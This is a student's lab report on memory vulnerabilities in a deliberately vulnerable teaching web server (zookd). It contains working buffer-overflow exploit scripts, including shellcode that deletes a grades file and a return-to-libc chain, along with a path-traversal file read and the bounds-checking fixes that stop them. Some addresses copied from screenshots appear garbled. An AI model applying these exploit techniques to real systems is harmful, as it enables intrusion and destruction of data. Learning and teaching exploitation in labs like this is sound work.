

System Security Lab 1

Exercise 1

1. When the server is started, the `run_server` function in `zookd.c`. If the client process forks properly with no issues, the pid returned will be 0, and enters the `process_client` function in "case 0".
2. In `process_client`, 2 buffers are initiated: `envp[8192]` and `reqpath[4096]`. Assuming there are no errors raised and the user input is valid and legitimate, `http_serve` is called.
3. HTTP responses are served successfully along with the requested files and/or executables when the code runs `http_serve`. `http_serve` retrieves its arguments from the environment variables that should be set earlier in the code stack.

Exploiting input to file directory

1. In `process_client` and the following `http_request_line`, `reqpath[4096]` is taken in as input.
2. In `http_request_line` line 107: `envp += sprintf(envp, "REQUEST_URI=%s", reqpath) + 1;`, information stored in `reqpath` is directly written into `envp`, where `envp` is a pointer to `envp[8192]`.
3. Information is stored into `reqpath` during the execution of `url_decode` in line 105, which reads information from the file descriptor of the socket. However, there are no checks to the length of the information being written to `reqpath`, which is where the vulnerability is. Moreover, the buffer size of `reqpath` and `envp` is large, so there will be enough memory to store any injected malicious code comfortably.
4. Hence, as long as the input is in the format of a legitimate url path, it will all be written into `envp[8192]` which will be used later in `http_serve`.

Exercise 2

The following is a screenshot of the code written to exploit the vulnerability identified in Exercise 1. It is formatted such that a long garbage url path is requested. The length has to be equal or longer than 4096 (which is the buffer size of `reqpath`) + 24 bytes to overwrite the return address stored at the top of the stack.

```
def build_exploit(shellcode):  
    ## Things that you might find useful in constructing your exploit:  
    ##  
    ##     urllib.quote(s)  
    ##         returns string s with "special" characters percent-encoded  
    ##     struct.pack("<Q", x)  
    ##         returns the 8-byte binary encoding of the 64-bit integer x  
  
    ## requesting a long file name  
    msg = "B:(" * 1030  
    req = "GET /" + msg + "/ HTTP/1.0\r\n" + "\r\n"  
    return req
```

The additional offset of 24 was discovered when analysing the stack content when the following code was executed in `zookd.c`:

```
/* get the request line */  
if ((errmsg = http_request_line(fd, reqpath, envp, &env_len)))  
    return http_err(fd, 500, "http_request_line: %s", errmsg);
```

Registers					
rax	0x0000000000000004	rbx	0x0000000000000000	rcx	0x00002a
rdx	0x0000000000000001	rsi	0x00002aaaab925270	rdi	0x000000
rbp	0x00007fffffffece0	rsp	0x00007fffffffdcc0	r8	0x00002a
r9	0x00002aaaab925270	r10	0x00002aaaaaadd80	r11	0x000000
r12	0x0000555555555420	r13	0x00007fffffffee10	r14	0x000000
r15	0x0000000000000000	rip	0x0000555555555822	eflags	[PF IF
cs	0x00000033	ss	0x0000002b	ds	0x000000
es	0x00000000	fs	0x00000000	gs	0x000000

```
>>> X/24x $sp+4096  
0x7fffffffec0: 0x55555420      0x00005555      0xffffee10      0x00007fff  
0x7fffffffecd0: 0x00000000      0x00000000      0x00000000      0x00000000  
0x7fffffffec0: 0xffffed10      0x00007fff      0x555557bb      0x00005555  
0x7fffffffecf0: 0x00000001      0x00000000      0xffffefad      0x00007fff  
0x7fffffffed00: 0x0000000b      0x00000000      0x00000004      0x00000003  
0x7fffffffed10: 0xffffed30      0x00007fff      0x5555558e      0x00005555  
>>> print &reqpath  
$1 = (char (*)) [4096] 0x7fffffffecd0  
>>> print &errmsg  
$2 = (const char **) 0x7fffffffecd8
```

As our objective is to overwrite the value of `%rbp`, 16 bytes at `0xece0` has to be overwritten by the garbage url path. 8 bytes comes from the additional assignment of the `errmsg` variable, which has to be overwritten as well.

The exploit is confirmed to be successful when the following was seen on the terminal running the server.

```
httpd@istd:~/labs/lab1_mem_vulnerabilities$ ./clean-env.sh ./zookd-exstack 8080
exec env - PWD=/home/httpd/labs/lab1_mem_vulnerabilities SHLV=0 setarch x86_64
ack 8080
zookd-exstack: [3826] Request failed: Request too long
Child process 3826 terminated incorrectly, receiving signal 11
```

```
[20568.428520] zookd-exstack[3826]: segfault at 555555002f28 ip 0000555555002f2
httpd@istd:~/labs/lab1_mem_vulnerabilities$
```

```
httpd@istd:~/labs/lab1_mem_vulnerabilities$ make check-crash
./check-bin.sh
WARNING: bin.tar.gz might not have been built this year (2021);
WARNING: if 2021 is correct, ask course staff to rebuild bin.tar.gz.
tar xf bin.tar.gz
./check-part2.sh zookd-exstack ./exploit-2.py
./check-part2.sh: line 8: 3796 Terminated          strace -f -e none -o "$
an-env.sh ./ $1 8080 &> /dev/null
3811 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x555555002f2
3811 +++ killed by SIGSEGV +++
3799 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=3811, si_uid=10
GSEGV, si_utime=0, si_stime=2} ---
PASS ./exploit-2.py
```

Exercise 3

Exercise 3.1

The following lines of code were updated in `shellcode.S`.

```
#define STRING "/home/httpd/grades.txt" /* line 1: include path to grades.txt */
#define STRLEN 22 /* line 2: corresponds to the length of the path defined in STRING */

movb    $SYS_unlink,%al /* line 21: changed the syscall number */
```

Exercise 3.2

Since the exploit will overflow the buffer of `reqpath`, 2 addresses must be obtained first. This is done by using `gdb`.

```
>>> print &reqpath
$1 = (char (*)[4096]) 0x7fffffffddcd0
>>> info frame
Stack level 0, frame at 0x7fffffffecf0:
 rip = 0x555555555822 in process_client (zookd.c:109); saved rip = 0x5555555557
 called by frame at 0x7fffffffed20
 source language c.
 Arglist at 0x7fffffffec0, args: fd=4
 Locals at 0x7fffffffec0, Previous frame's sp is 0x7fffffffecf0
 Saved registers:
  rbp at 0x7fffffffec0, rip at 0x7fffffffec8
>>>
```

From this, we are interested in the address that indicates the start of `reqpath[]` and the `%rip` which stores the return address from the stack.

The following is the exploit code with inline explanations:

```

stack_buffer = 0x7fffffffcd0 # reqpath
stack_retaddr = 0x7fffffffece8 + offset # rip

def build_exploit(shellcode):
    ## Things that you might find useful in constructing your exploit:
    ##
    ## urllib.quote(s)
    ## returns string s with "special" characters percent-encoded
    ## struct.pack("<Q", x)
    ## returns the 8-byte binary encoding of the 64-bit integer x

    # create the new return address to go into the top of the stack, where the malicious code will be stored
    # +1 to account for the slash to pass the url check
    new_retaddr = urllib.quote(struct.pack("<Q", stack_buffer+1))

    # encode the malicious shellcode
    mal = urllib.quote(shellcode)

    # create the padding used to overflow the reqpath buffer
    # padding + shellcode + / => need to sit inside the allocated buffer exactly
    padding = "j"* (stack_retaddr - stack_buffer - len(shellcode) -1)

    exploit = "/" + mal + padding + new_retaddr

    req = "GET " + exploit + " HTTP/1.0\r\n" + \
        "\r\n"
    return req

```

The exploit is successful as seen below:

```

httpd@istd:~/labs/lab1_mem_vulnerabilities$ make check-exstack
./check-bin.sh
WARNING: bin.tar.gz might not have been built this year (2021);
WARNING: if 2021 is correct, ask course staff to rebuild bin.tar.gz.
tar xf bin.tar.gz
./check-part3.sh zookd-exstack ./exploit-3.py
PASS ./exploit-3.py

```

Exercise 4

To execute a return-to-libc attack, the addresses of the `accidentally` function and the `unlink` system call have to be obtained first. This can be obtained with the following steps:

1. On terminal 1, start the server with: `./clean-env.sh ./zookd-nxstack 8080`
2. On terminal 2, start gdb with: `gdb -p $(pgrep zookd-)`
3. To get the address of `accidentally`, enter `p accidentally`.
4. To get the address of `unlink`, enter `p unlink`.

The addresses of `accidentally` and `unlink` are as shown below.

```

--- Assembly
0x00002aaaab253750 ? cmp $0xffffffffffff001,%rax
0x00002aaaab253756 ? jae 0x2aaaab253789 <accept+73>
0x00002aaaab253758 ? retq
0x00002aaaab253759 ? sub $0x8,%rsp
0x00002aaaab25375d ? callq 0x2aaaab25f2c0 < libc enable asynccancel>
0x00002aaaab253762 ? mov %rax,%rsp
0x00002aaaab253766 ? mov $0x2b,%eax
0x00002aaaab25376b ? syscall
0x00002aaaab25376d ? mov (%rsp),%rdi
0x00002aaaab253771 ? mov %rax,%rdx
--- Breakpoints
--- Expressions
--- History
--- Memory
--- Registers
rax 0xffffffffffffe00 rbx 0x0000000000000000 rcx 0x00002aaaab253750
rdx 0x0000000000000000 rsi 0x0000000000000000 rdi 0x0000000000000003
rbp 0x00007fffffffedf0 rsp 0x00007fffffffece8 r8 0x00002aaaaaadd80
r9 0x0000000000000000 r10 0x0000000000000000 r11 0x0000000000000246
r12 0x0000555555555420 r13 0x00007fffffffee10 r14 0x0000000000000000
r15 0x0000000000000000 rip 0x00002aaaab253750 eflags [ PF ZF IF ]
cs 0x00000033 ss 0x0000002b ds 0x00000000
es 0x00000000 fs 0x00000000 gs 0x00000000
--- Source
Cannot display "syscall.template.S"
--- Stack
[0] from 0x00002aaaab253750 in __accept_nocancel at ../sysdeps/unix/syscall-template.S:84
[1] from 0x0000555555555766 in run_server+50 at zookd.c:66
[2] from 0x000055555555558e in main+62 at zookd.c:29
--- Threads
[1] id 20003 name zookd-nxstack from 0x00002aaaab253750 in __accept_nocancel at ../sysdeps/
unix/syscall-template.S:84
--- Variables
>>> p accidentally
$1 = {void (void)} 0x5555555558f4 <accidentally>
>>> p unlink
$2 = {<text variable, no debug info>} 0x2aaaab246ea0 <unlink>

```

After which, the attack performs a buffer overflow that:

1. pushes the file of interest `/home/httpd/grades.txt` into the stack
 - o The file is at the bottom of the stack and is proceeded with a url quoted NULL character so that it will not stop `url_decode` from reading the rest of the payload, but will stop the code when the filepath is read as part of the stack.
2. lines up the address to `accidentally` overwrite the first return address
 - o To do so, the buffer needs to be overflowed with garbage, calculated with the expression `(stack_retaddr - stack_buffer - len(file_path) - 2)`.
 - o The address of `accidentally` (as identified above) is then concatenated so that it will be treated as a return address.
 - o The execution of `accidentally` then moves the file path located 16 bytes from `%rbp` into `%rdi`

- and lines the address to the chosen libc function (unlink) to overwrite the second return address
 - After `accidentally` is run, it returns to the address after the address of `accidentally`.
 - The libc function of interest is `unlink`, and the address of which is identified above.
 - As such, the address of `unlink` (as identified above) is concatenated in the payload.

The exploit then uses the following code:

```
stack_buffer = 0xffffffffdcd0
offset = 8
stack_retaddr = 0xffffffffece0 + offset
accidentally = 0x555555558f4 # grep the running process
unlink = 0x2aaaab246ea0 # grep the running process

## This is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the zookws web server and exploit it.

def build_exploit(shellcode):
    ## Things that you might find useful in constructing your exploit:
    ##
    ##     urllib.quote(s)
    ##         returns string s with "special" characters percent-encoded
    ##     struct.pack("<Q", x)
    ##         returns the 8-byte binary encoding of the 64-bit integer x

    file_path = "/home/httpd/grades.txt"
    null_char = urllib.quote("\x00")

    ## length of junk must -2 to account for "/" and null_char
    garbage = "h" * (stack_retaddr - stack_buffer - len(file_path) - 2)

    accidentally_addr = urllib.quote(struct.pack("<Q", accidentally))
    unlink_addr = urllib.quote(struct.pack("<Q", unlink))

    ## must +1 to account for "/"
    path_addr = urllib.quote(struct.pack("<Q", stack_buffer + 1))

    payload = "/" + file_path + null_char + garbage + accidentally_addr + unlink_addr + path_addr

    req = "GET " + payload + " HTTP/1.0\r\n" + \
          "\r\n"
    return req
```

To check whether the exploit is successful, `make check-libc` is run. The output shows that the exploit is successful:

```
httpd@istd:~/labs/lab1_mem_vulnerabilities$ make check-libc
./check-bin.sh
WARNING: bin.tar.gz might not have been built this year (2021);
WARNING: if 2021 is correct, ask course staff to rebuild bin.tar.gz.
tar xf bin.tar.gz
./check-part3.sh zookd-nxstack ./exploit-4.py
PASS ./exploit-4.py
```

Exercise 5

Attack 1: http_request_headers

- In `process_client` line 115, `http_request_headers` is called to check for a valid request header.
- In `http_request_headers` line 166, `setenv(envvar, value, 1)` is executed. This means that an environment variable with name `envvar` is written with value `value`, regardless of whether it previously exists (because `int overwrite = 1`).
- The `envvar` buffer is written to in the `sprintf(envvar, "HTTP_%s", buf)`; line. `buf` is the field key parsed for that loop.
- The `value` buffer is written to in the `url_decode(value, sp)`; line, which decodes the URL escape sequences in `sp` and saves it in `value`. `sp` is the field value parsed for that loop.
- As such, there is a vulnerability in the request header, where the client can send a request with a field value of more than the stipulated `value` buffer size of 512 and overflow the stack and thus the other environment variables in the heap when the environment variable of `envvar` is set.

To exploit this, an arbitrary field can be added to the request header, with an arbitrary field name of `exploit_vuln` and with the field value with a size of above 512.

In the `build_exploit` function, the following code is used to build the HTTP request:

```
msg = "jeshq"*120
req = "GET / HTTP/1.0\r\n" + \
      "exploit_vuln: "+ msg+ "\r\n" + \
      "\r\n"
return req
```

Below is the server's terminal after the request has been sent, showing that the child process has been crashed successfully.

```
httpd@istd:~/labs/lab1_mem_vulnerabilities$ ./clean-env.sh ./zookd-exstack 8080 &
[1] 805
httpd@istd:~/labs/lab1_mem_vulnerabilities$ exec env - PWD=/home/httpd/labs/lab1_
mem_vulnerabilities SHLVL=0 setarch x86_64 -R ./zookd-exstack 8080
Child process 832 terminated incorrectly, receiving signal 11
httpd@istd:~/labs/lab1_mem_vulnerabilities$ █
```

Below is a screenshot of the terminal when the script to execute the attack is run.

[illegible]

HTTP response:

This vulnerability can be fixed by sanitising the request headers and forcing the value buffer to end with a NULL character.

Another attack will be to view files with the request path. For instance, the `zookd.c` file can be read by attackers by entering `http://127.0.0.1:8080/zookd.c` into the browser as seen below:

Doing this through the browser limits the attacker to files in the `labs/lab1_mem_vulnerabilities` directory. To view other files on the server machine, the `curl` command can be used with the `--path-as-is` flag. For instance, a file that is in the `home` directory can be accessed with the following command if the `labs` directory is in the `home` directory as well:

This attack works because the requests are not sanitised to only return relevant files in `http request line`.

However, a limitation of this attack is that attackers need to know the directory structures on the machine to be able to view files of interest. Furthermore, this exploit only allows attackers to read files, and attackers would not be able to modify files using this attack.

This vulnerability can be fixed by limiting accessible file paths in `http_request_line` function.

The reqpath exploit is possible because the `url_decode` function that reads information into `reqpath[]` depends only on seeing the null terminator to stop reading information. In the case of exploit 4, since the null char was encoded, it was not parsed as a null terminator, which allowed for the exploit to work.

Hence, the solution would be to declare and pass in the fixed size of the destination buffer to end the information reading once the buffer is full.

```
void url_decode(char *dst, const char *src, int bufsize)
{
    for (int i = 0; i < bufsize; i++)
    {
        if (src[0] == '%' && src[1] && src[2])
        {
```

```
/* decode URL escape sequences in the requested path into reqpath */
url_decode(reqpath, sp1, 4096);
```

```
/* Decode URL escape sequences in the value */
url_decode(value, sp, 512);
```

This fix was verified successfully using `make check-fixed`:

```
./check-part2.sh: line 8: 4995 Terminated          strace -f -e none -o "$STRA
FAIL ./exploit-2.py
./check-part3.sh zookd-exstack ./exploit-3.py
FAIL ./exploit-3.py
./check-part3.sh zookd-nxstack ./exploit-4.py
FAIL ./exploit-4.py
rm shellcode.o
```